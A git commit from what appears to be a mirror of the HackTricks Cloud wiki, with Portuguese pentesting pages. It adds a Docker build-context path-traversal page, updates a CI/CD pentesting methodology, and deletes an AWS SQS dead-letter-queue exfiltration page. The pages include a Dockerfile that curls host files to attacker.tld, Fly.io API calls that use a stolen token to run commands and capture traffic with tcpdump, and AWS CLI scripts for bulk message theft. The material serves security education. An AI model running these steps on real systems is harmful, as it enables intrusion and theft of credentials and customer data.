mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 'src
This commit is contained in:
Translator
101
src/pentesting-ci-cd/docker-build-context-abuse.md
Normal file
101
src/pentesting-ci-cd/docker-build-context-abuse.md
Normal file
@@ -0,0 +1,101 @@
|
||||
# Abusing Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
Se uma plataforma CI/CD ou hosted builder permite que contribuidores especifiquem o caminho do Docker build context e o caminho do Dockerfile, frequentemente é possível definir o contexto para um diretório pai (por exemplo, "..") e incluir arquivos do host no build context. Em seguida, um Dockerfile controlado pelo atacante pode usar COPY e exfiltrate secrets encontrados no home do usuário do builder (por exemplo, ~/.docker/config.json). Tokens de registry roubados também podem funcionar contra as control-plane APIs do provedor, permitindo RCE em toda a organização.
|
||||
|
||||
## Attack surface
|
||||
|
||||
Muitos serviços de hosted builder/registry fazem algo nessa linha ao construir imagens submetidas por usuários:
|
||||
- Ler uma repo-level config que inclui:
|
||||
- build context path (sent to the Docker daemon)
|
||||
- Dockerfile path relative to that context
|
||||
- Copiar o diretório do build context indicado e o Dockerfile para o Docker daemon
|
||||
- Build the image and run it as a hosted service
|
||||
|
||||
Se a plataforma não canonicalize e restrinja o build context, um usuário pode defini-lo para um local fora do repositório (path traversal), fazendo com que arquivos arbitrários do host legíveis pelo build user passem a fazer parte do build context e fiquem disponíveis para COPY no Dockerfile.
|
||||
|
||||
Restrições práticas comumente observadas:
|
||||
- O Dockerfile deve residir dentro do caminho do contexto escolhido e seu caminho deve ser conhecido antecipadamente.
|
||||
- O build user deve ter acesso de leitura aos arquivos incluídos no contexto; arquivos de dispositivo especiais podem quebrar a cópia.
|
||||
|
||||
## PoC: Path traversal via Docker build context
|
||||
|
||||
Example malicious server config declaring a Dockerfile within the parent directory context:
|
||||
```yaml
|
||||
runtime: "container"
|
||||
build:
|
||||
dockerfile: "test/Dockerfile" # Must reside inside the final context
|
||||
dockerBuildPath: ".." # Path traversal to builder user $HOME
|
||||
startCommand:
|
||||
type: "http"
|
||||
configSchema:
|
||||
type: "object"
|
||||
properties:
|
||||
apiKey:
|
||||
type: "string"
|
||||
required: ["apiKey"]
|
||||
exampleConfig:
|
||||
apiKey: "sk-example123"
|
||||
```
|
||||
Notas:
|
||||
- Usar ".." frequentemente resolve para o diretório home do usuário builder (p.ex., /home/builder), que tipicamente contém arquivos sensíveis.
|
||||
- Coloque seu Dockerfile dentro do diretório com o nome do repo (p.ex., repo "test" → test/Dockerfile) para que ele permaneça dentro do contexto pai expandido.
|
||||
|
||||
## PoC: Dockerfile para ingerir e exfiltrar o contexto do host
|
||||
```dockerfile
|
||||
FROM alpine
|
||||
RUN apk add --no-cache curl
|
||||
RUN mkdir /data
|
||||
COPY . /data # Copies entire build context (now builder’s $HOME)
|
||||
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
|
||||
```
|
||||
Alvos comumente recuperados de $HOME:
|
||||
- ~/.docker/config.json (registry auths/tokens)
|
||||
- Outros caches e configs de cloud/CLI (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
|
||||
|
||||
Dica: Mesmo com um .dockerignore no repositório, a seleção de contexto do lado da plataforma vulnerável ainda governa o que é enviado ao daemon. Se a plataforma copiar o caminho escolhido para o daemon antes de avaliar o .dockerignore do seu repo, arquivos do host ainda podem ser expostos.
|
||||
|
||||
## Pivot na cloud com overprivileged tokens (exemplo: Fly.io Machines API)
|
||||
|
||||
Algumas plataformas emitem um único bearer token utilizável tanto para o container registry quanto para a control-plane API. Se você exfiltrate um registry token, tente usá‑lo contra a API do provedor.
|
||||
|
||||
Exemplo de chamadas à API contra Fly.io Machines API usando o token roubado de ~/.docker/config.json:
|
||||
|
||||
Enumerar apps em uma org:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps?org_slug=smithery"
|
||||
```
|
||||
Executar um comando como root dentro de qualquer máquina de um app:
|
||||
```bash
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Resultado: remote code execution em toda a organização, afetando todos os apps hospedados quando o token possui privilégios suficientes.
|
||||
|
||||
## Roubo de segredos de serviços hospedados comprometidos
|
||||
|
||||
Com exec/RCE em servidores hospedados, você pode coletar segredos fornecidos pelo cliente (API keys, tokens) ou realizar prompt-injection attacks. Exemplo: instalar tcpdump e capturar tráfego HTTP na porta 8080 para extrair credenciais de entrada.
|
||||
```bash
|
||||
# Install tcpdump inside the machine
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
|
||||
|
||||
# Capture traffic
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Requisições capturadas frequentemente contêm client credentials em headers, bodies ou query params.
|
||||
|
||||
## Referências
|
||||
|
||||
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
|
||||
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting CI/CD Methodology
|
||||
# Metodologia de Pentesting CI/CD
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,100 +6,107 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS significa **Sistema de Controle de Versão**, esses sistemas permitem aos desenvolvedores **gerenciar seu código-fonte**. O mais comum é **git** e normalmente você encontrará empresas usando-o em uma das seguintes **plataformas**:
|
||||
VCS significa **Sistema de Controle de Versão**, este sistema permite que desenvolvedores **gerenciem seu código-fonte**. O mais comum é **git** e você normalmente encontrará empresas usando-o em uma das seguintes **plataformas**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
- Bitbucket
|
||||
- Gitea
|
||||
- Gitblit
|
||||
- Fornecedores de cloud (eles oferecem suas próprias plataformas VCS)
|
||||
- Provedores de nuvem (eles oferecem suas próprias plataformas VCS)
|
||||
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
As pipelines CI/CD permitem que desenvolvedores **automatizem a execução de código** para vários fins, incluindo build, testes e deploy de aplicações. Esses fluxos de trabalho automatizados são **acionados por ações específicas**, como pushes de código, pull requests ou tarefas agendadas. Eles são úteis para agilizar o processo do desenvolvimento até a produção.
|
||||
CI/CD pipelines permitem que desenvolvedores **automatem a execução de código** para diversos propósitos, incluindo build, testes e deploy de aplicações. Esses fluxos automatizados são **acionados por ações específicas**, como pushes de código, pull requests ou tarefas agendadas. Eles são úteis para agilizar o processo do desenvolvimento à produção.
|
||||
|
||||
No entanto, esses sistemas precisam ser **executados em algum lugar** e geralmente com **credenciais privilegiadas para deploy de código ou acesso a informações sensíveis**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
## Metodologia de VCS Pentesting
|
||||
|
||||
> [!NOTE]
|
||||
> Mesmo que algumas plataformas VCS permitam criar pipelines, para esta seção vamos analisar apenas ataques potenciais ao controle do código-fonte.
|
||||
|
||||
Plataformas que contêm o código-fonte do seu projeto guardam informações sensíveis e as pessoas precisam ter muito cuidado com as permissões concedidas dentro dessa plataforma. Estes são alguns problemas comuns nas plataformas VCS que um atacante poderia abusar:
|
||||
Plataformas que contêm o código-fonte do seu projeto armazenam informações sensíveis e as pessoas precisam ter muito cuidado com as permissões concedidas dentro dessa plataforma. Estes são alguns problemas comuns em plataformas VCS que um atacante pode abusar:
|
||||
|
||||
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
|
||||
- **Access**: Se um atacante puder **acessar uma conta dentro da plataforma VCS** ele poderia obter **mais visibilidade e permissões**.
|
||||
- **Register**: Algumas plataformas simplesmente permitem que usuários externos criem uma conta.
|
||||
- **SSO**: Algumas plataformas não permitem registros, mas permitem que qualquer pessoa acesse com um SSO válido (então um atacante poderia usar sua conta do github para entrar, por exemplo).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... existem vários tipos de tokens que um usuário pode roubar para acessar de alguma forma um repo.
|
||||
- **Webhooks**: Plataformas VCS permitem gerar webhooks. Se não estiverem **protegidos** com segredos não visíveis, um **atacante pode abusar deles**.
|
||||
- Se não houver segredo em vigor, o atacante poderia abusar do webhook da plataforma terceira
|
||||
- **Leaks**: Se seu código contiver leaks nos commits e o atacante puder acessar o repo (porque é público ou porque ele tem acesso), ele poderá descobrir os leaks.
|
||||
- **Acesso**: Se um atacante conseguir **acessar uma conta dentro da plataforma VCS** ele poderia obter **mais visibilidade e permissões**.
|
||||
- **Registro**: Algumas plataformas simplesmente permitem que usuários externos criem uma conta.
|
||||
- **SSO**: Algumas plataformas não permitem registro, mas permitem que qualquer um acesse com um SSO válido (então um atacante poderia usar sua conta do github para entrar, por exemplo).
|
||||
- **Credenciais**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... existem vários tipos de tokens que um usuário pode roubar para acessar de alguma forma um repo.
|
||||
- **Webhooks**: Webhooks são permitidos nas plataformas VCS. Se não estiverem **protegidos** com segredos não visíveis, um **atacante pode abusar deles**.
|
||||
- Se nenhum segredo estiver em vigor, o atacante poderia abusar do webhook da plataforma terceirizada
|
||||
- Se o segredo estiver na URL, o mesmo acontece e o atacante também terá o segredo
|
||||
- **Code compromise:** Se um ator malicioso tiver algum tipo de **acesso de escrita aos repos**, ele poderia tentar **injetar código malicioso**. Para ter sucesso, pode precisar **bypassar branch protections**. Essas ações podem ser realizadas com diferentes objetivos:
|
||||
- Comprometer a branch principal para **comprometer a produção**.
|
||||
- Comprometer a branch principal (ou outras branches) para **comprometer máquinas dos desenvolvedores** (já que eles costumam executar testes, terraform ou outras coisas do repo em suas máquinas).
|
||||
- **Comprometimento do código:** Se um ator malicioso tiver algum tipo de **acesso de escrita** sobre os repos, ele poderia tentar **injetar código malicioso**. Para ter sucesso ele pode precisar **contornar proteções de branch**. Essas ações podem ser realizadas com diferentes objetivos:
|
||||
- Comprometer a main branch para **comprometer a produção**.
|
||||
- Comprometer a main (ou outras branches) para **comprometer máquinas dos desenvolvedores** (já que eles normalmente executam testes, terraform ou outras coisas do repo em suas máquinas).
|
||||
- **Comprometer a pipeline** (veja a próxima seção)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
## Metodologia de Pipelines Pentesting
|
||||
|
||||
A maneira mais comum de definir uma pipeline é usando um **arquivo de configuração CI hospedado no repositório** que a pipeline constrói. Esse arquivo descreve a ordem dos jobs executados, condições que afetam o fluxo e configurações do ambiente de build.\
|
||||
Esses arquivos tipicamente têm um nome e formato consistente, por exemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), e os arquivos YAML do GitHub Actions localizados em .github/workflows. Quando acionado, o job da pipeline **puxa o código** da fonte selecionada (por ex. commit / branch) e **executa os comandos especificados no arquivo de configuração CI** contra esse código.
|
||||
A maneira mais comum de definir uma pipeline é usando um **arquivo de configuração de CI hospedado no repositório** que a pipeline builda. Esse arquivo descreve a ordem dos jobs executados, condições que afetam o fluxo e configurações do ambiente de build.\
|
||||
Esses arquivos tipicamente têm um nome e formato consistentes, por exemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), e os arquivos YAML do GitHub Actions localizados em .github/workflows. Quando acionada, a job da pipeline **puxa o código** da fonte selecionada (ex.: commit / branch), e **executa os comandos especificados no arquivo de configuração do CI** contra esse código.
|
||||
|
||||
Portanto, o objetivo final do atacante é de alguma forma **comprometer esses arquivos de configuração** ou os **comandos que eles executam**.
|
||||
|
||||
> [!TIP]
|
||||
> Alguns builders hospedados permitem que contribuidores escolham o contexto de build do Docker e o caminho do Dockerfile. Se o contexto for controlado pelo atacante, você pode defini-lo fora do repo (ex.: "..") para ingerir arquivos do host durante o build e exfiltrar segredos. Veja:
|
||||
>
|
||||
>{{#ref}}
|
||||
>docker-build-context-abuse.md
|
||||
>{{#endref}}
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
O caminho Poisoned Pipeline Execution (PPE) explora permissões em um repositório SCM para manipular uma pipeline CI e executar comandos maliciosos. Usuários com as permissões necessárias podem modificar arquivos de configuração CI ou outros arquivos usados pelo job da pipeline para incluir comandos maliciosos. Isso "envenena" a pipeline CI, levando à execução desses comandos maliciosos.
|
||||
O Poisoned Pipeline Execution (PPE) explora permissões em um repositório SCM para manipular uma pipeline CI e executar comandos maliciosos. Usuários com as permissões necessárias podem modificar arquivos de configuração do CI ou outros arquivos usados pela job da pipeline para incluir comandos maliciosos. Isso "envenena" a pipeline CI, levando à execução desses comandos maliciosos.
|
||||
|
||||
Para que um ator malicioso tenha sucesso realizando um ataque PPE ele precisa ser capaz de:
|
||||
|
||||
- Ter **acesso de escrita à plataforma VCS**, já que geralmente as pipelines são acionadas quando um push ou pull request é realizado. (Consulte a VCS pentesting methodology para um resumo das formas de obter acesso).
|
||||
- Ter **acesso de escrita à plataforma VCS**, pois normalmente pipelines são acionadas quando um push ou um pull request é realizado. (Veja a metodologia de VCS para um resumo de formas de obter acesso).
|
||||
- Note que às vezes um **PR externo conta como "acesso de escrita"**.
|
||||
- Mesmo que tenha permissões de escrita, ele precisa ter certeza de que pode **modificar o arquivo de configuração CI ou outros arquivos dos quais a configuração depende**.
|
||||
- Para isso, pode ser necessário **bypassar branch protections**.
|
||||
- Mesmo que ele tenha permissões de escrita, ele precisa ter certeza de que pode **modificar o arquivo de config do CI ou outros arquivos dos quais o config dependa**.
|
||||
- Para isso, pode ser necessário **contornar as proteções de branch**.
|
||||
|
||||
Existem 3 variantes de PPE:
|
||||
|
||||
- **D-PPE**: Um ataque **Direct PPE** ocorre quando o ator **modifica o arquivo de configuração CI** que será executado.
|
||||
- **I-DDE**: Um ataque **Indirect PPE** ocorre quando o ator **modifica** um **arquivo** do qual o arquivo de configuração CI que será executado **depende** (como um makefile ou uma configuração terraform).
|
||||
- **Public PPE ou 3PE**: Em alguns casos as pipelines podem ser **acionadas por usuários que não têm acesso de escrita no repo** (e que podem nem fazer parte da org) porque podem enviar um PR.
|
||||
- **3PE Command Injection**: Normalmente, pipelines CI/CD vão **definir variáveis de ambiente** com **informações sobre o PR**. Se esse valor puder ser controlado por um atacante (como o título do PR) e for **usado** em um **local perigoso** (como executar comandos sh), um atacante pode **injetar comandos ali**.
|
||||
- **D-PPE**: Um **Direct PPE** ocorre quando o ator **modifica o arquivo de config do CI** que será executado.
|
||||
- **I-DDE**: Um **Indirect PPE** ocorre quando o ator **modifica** um **arquivo** do qual o arquivo de config do CI depende (como um make file ou uma terraform config).
|
||||
- **Public PPE or 3PE**: Em alguns casos as pipelines podem ser **acionadas por usuários que não têm acesso de escrita no repo** (e que podem nem mesmo fazer parte da org) porque podem enviar um PR.
|
||||
- **3PE Command Injection**: Geralmente, CI/CD pipelines vão **definir environment variables** com **informações sobre o PR**. Se esse valor puder ser controlado por um atacante (como o título do PR) e for **usado** em um **local perigoso** (como na execução de comandos sh), um atacante pode **injetar comandos ali**.
|
||||
|
||||
### Exploitation Benefits
|
||||
### Benefícios da Exploração
|
||||
|
||||
Conhecendo as 3 variantes para envenenar uma pipeline, vejamos o que um atacante poderia obter após uma exploração bem-sucedida:
|
||||
|
||||
- **Secrets**: Como mencionado anteriormente, pipelines requerem **privilégios** para seus jobs (retrair o código, build, deploy...) e esses privilégios geralmente são **concedidos em secrets**. Esses secrets normalmente são acessíveis via **env variables ou arquivos dentro do sistema**. Portanto um atacante sempre tentará exfiltrar o máximo possível de secrets.
|
||||
- Dependendo da plataforma de pipeline o atacante **pode precisar especificar os secrets na config**. Isso significa que, se o atacante não puder modificar a configuração CI da pipeline (**I-PPE** por exemplo), ele poderia **apenas exfiltrar os secrets que essa pipeline possui**.
|
||||
- **Computation**: O código é executado em algum lugar; dependendo de onde é executado, um atacante pode ser capaz de pivotar mais adiante.
|
||||
- **On-Premises**: Se as pipelines são executadas on-premises, um atacante pode terminar em uma **rede interna com acesso a mais recursos**.
|
||||
- **Cloud**: O atacante poderia acessar **outras máquinas na cloud** mas também poderia **exfiltrar** tokens de IAM roles/service accounts **dela** para obter **acesso adicional dentro da cloud**.
|
||||
- **Platforms machine**: Às vezes os jobs serão executados dentro das **máquinas da plataforma de pipelines**, que geralmente estão numa cloud sem **acesso adicional**.
|
||||
- **Select it:** Às vezes a **plataforma de pipelines terá várias máquinas configuradas** e se você puder **modificar o arquivo de configuração CI** você pode **indicar onde quer rodar o código malicioso**. Nessa situação, um atacante provavelmente executará um reverse shell em cada máquina possível para tentar explorá-la mais a fundo.
|
||||
- **Compromise production**: Se você estiver dentro da pipeline e a versão final for buildada e deployada a partir dela, você poderia **comprometer o código que acabará rodando em produção**.
|
||||
- **Segredos**: Como mencionado anteriormente, pipelines requerem **privilégios** para suas jobs (recuperar o código, build, deploy...) e esses privilégios geralmente são **concedidos em secrets**. Esses secrets geralmente são acessíveis via **env variables ou arquivos dentro do sistema**. Portanto um atacante sempre tentará exfiltrar o máximo de secrets possível.
|
||||
- Dependendo da plataforma de pipeline o atacante **pode precisar especificar os secrets na config**. Isso significa que se o atacante não puder modificar a configuração da pipeline (**I-PPE** por exemplo), ele poderia **apenas exfiltrar os secrets que aquela pipeline possui**.
|
||||
- **Computação**: O código é executado em algum lugar; dependendo de onde é executado, um atacante pode ser capaz de pivotar mais.
|
||||
- **On-Premises**: Se as pipelines são executadas on-premises, um atacante pode chegar em uma **rede interna com acesso a mais recursos**.
|
||||
- **Cloud**: O atacante pode acessar **outras máquinas na cloud** mas também pode **exfiltrar** tokens de roles IAM/service accounts para obter **acesso adicional dentro da cloud**.
|
||||
- **Máquinas da plataforma**: Às vezes as jobs serão executadas dentro das **máquinas da plataforma de pipelines**, que normalmente estão em uma cloud sem **mais acessos**.
|
||||
- **Selecione:** Às vezes a **plataforma de pipelines terá várias máquinas configuradas** e se você puder **modificar o arquivo de configuração do CI** você pode **indicar onde deseja executar o código malicioso**. Nessa situação, um atacante provavelmente rodará um reverse shell em cada máquina possível para tentar explorá-la mais a fundo.
|
||||
- **Comprometer a produção**: Se você estiver dentro da pipeline e a versão final for buildada e deployada a partir dela, você pode **comprometer o código que vai rodar em produção**.
|
||||
|
||||
## More relevant info
|
||||
## Mais informações relevantes
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) é uma ferramenta open-source para auditar sua cadeia de suprimentos de software quanto à conformidade de segurança com base em um novo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). A auditoria foca em todo o processo SDLC, onde pode revelar riscos desde o tempo de código até o tempo de deploy.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) é uma ferramenta open-source para auditar sua stack de software supply chain quanto à conformidade de segurança com base em um novo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). A auditoria foca em todo o processo SDLC, onde pode revelar riscos desde o tempo de código até o tempo de deploy.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Confira este artigo interessante sobre os top 10 riscos CI/CD segundo a Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Confira este artigo interessante sobre os top 10 riscos de CI/CD segundo a Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
### Laboratórios
|
||||
|
||||
- Em cada plataforma que você puder rodar localmente você encontrará como lançá-la localmente para poder configurá-la como quiser para testar
|
||||
- Em cada plataforma que você puder rodar localmente você encontrará como iniciá-la localmente para que possa configurá-la como quiser para testar
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
### Ferramentas Automáticas
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** é uma ferramenta de análise estática para infrastructure-as-code.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** é uma ferramenta de análise estática para infraestrutura como código.
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
|
||||
|
||||
|
||||
@@ -1,154 +0,0 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Descrição
|
||||
|
||||
Abuse tarefas de movimentação de mensagens do SQS para roubar todas as mensagens acumuladas na Dead-Letter Queue (DLQ) de uma vítima, redirecionando-as para uma fila controlada pelo atacante usando `sqs:StartMessageMoveTask`. Essa técnica explora o recurso legítimo de recuperação de mensagens da AWS para exfiltrar dados sensíveis que se acumularam em DLQs ao longo do tempo.
|
||||
|
||||
## O que é uma Dead-Letter Queue (DLQ)?
|
||||
|
||||
Uma Dead-Letter Queue é uma fila SQS especial onde mensagens são automaticamente enviadas quando falham ao ser processadas com sucesso pela aplicação principal. Essas mensagens falhadas frequentemente contêm:
|
||||
- Dados sensíveis da aplicação que não puderam ser processados
|
||||
- Detalhes de erro e informações para debug
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokens, credenciais ou outros segredos
|
||||
- Dados de transações críticos para o negócio
|
||||
|
||||
DLQs funcionam como um "cemitério" para mensagens falhadas, tornando-as alvos valiosos já que acumulam dados sensíveis ao longo do tempo que as aplicações não conseguiram tratar corretamente.
|
||||
|
||||
## Cenário de ataque
|
||||
|
||||
**Exemplo real:**
|
||||
1. **Aplicação de e-commerce** processa pedidos de clientes via SQS
|
||||
2. **Alguns pedidos falham** (problemas de pagamento, falta de estoque, etc.) e são movidos para uma DLQ
|
||||
3. **A DLQ acumula** semanas/meses de pedidos falhados contendo dados de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Atacante obtém acesso** a credenciais AWS com permissões SQS
|
||||
5. **Atacante descobre** que a DLQ contém milhares de pedidos falhados com dados sensíveis
|
||||
6. **Ao invés de tentar acessar mensagens individuais** (lento e óbvio), o atacante usa `StartMessageMoveTask` para transferir em massa TODAS as mensagens para sua própria fila
|
||||
7. **Atacante extrai** todos os dados históricos sensíveis em uma única operação
|
||||
|
||||
## Requisitos
|
||||
- A fila de origem deve estar configurada como uma DLQ (referenciada por pelo menos uma RedrivePolicy de alguma fila).
|
||||
- Permissões IAM (executando como o principal comprometido da vítima):
|
||||
- Na DLQ (origem): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Na fila de destino: permissão para entregar mensagens (por exemplo, política de fila permitindo `sqs:SendMessage` a partir do principal da vítima). Para destinos na mesma conta isso normalmente é permitido por padrão.
|
||||
- Se SSE-KMS estiver habilitado: na CMK de origem `kms:Decrypt`, e na CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impacto
|
||||
Exfiltra cargas sensíveis acumuladas em DLQs (eventos falhados, PII, tokens, payloads de aplicação) em alta velocidade usando as APIs nativas do SQS. Funciona cross-account se a política da fila de destino permitir `SendMessage` a partir do principal da vítima.
|
||||
|
||||
## Como Abusar
|
||||
|
||||
- Identificar o ARN da DLQ da vítima e garantir que ela esteja realmente referenciada como DLQ por alguma fila (qualquer fila serve).
|
||||
- Criar ou escolher uma fila de destino controlada pelo atacante e obter seu ARN.
|
||||
- Iniciar uma tarefa de movimentação de mensagens da DLQ da vítima para sua fila de destino.
|
||||
- Monitorar o progresso ou cancelar se necessário.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Cenário**: Um atacante comprometeu credenciais AWS e descobriu que uma aplicação de e-commerce usa SQS com uma DLQ contendo tentativas de processamento de pedidos de clientes que falharam.
|
||||
|
||||
1) **Descobrir e examinar a DLQ da vítima**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Criar fila de destino controlada pelo atacante**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Execute o roubo em massa de mensagens**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Coletar os dados sensíveis roubados**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Notas entre contas
|
||||
- A fila de destino deve ter uma resource policy permitindo que o principal da vítima execute `sqs:SendMessage` (e, se usado, KMS grants/permissions).
|
||||
|
||||
## Por que este ataque é eficaz
|
||||
|
||||
1. **Legitimate AWS Feature**: Usa funcionalidade integrada da AWS, tornando difícil detectá-lo como malicioso
|
||||
2. **Bulk Operation**: Transfere milhares de mensagens rapidamente em vez de acesso individual lento
|
||||
3. **Historical Data**: DLQs acumulam dados sensíveis ao longo de semanas/meses
|
||||
4. **Under the Radar**: Muitas organizações não monitoram o acesso a DLQs de perto
|
||||
5. **Cross-Account Capable**: Pode exfiltrar para a própria conta AWS do atacante se as permissões permitirem
|
||||
|
||||
## Detecção e Prevenção
|
||||
|
||||
### Detecção
|
||||
Monitor CloudTrail para chamadas API suspeitas `StartMessageMoveTask`:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Prevenção
|
||||
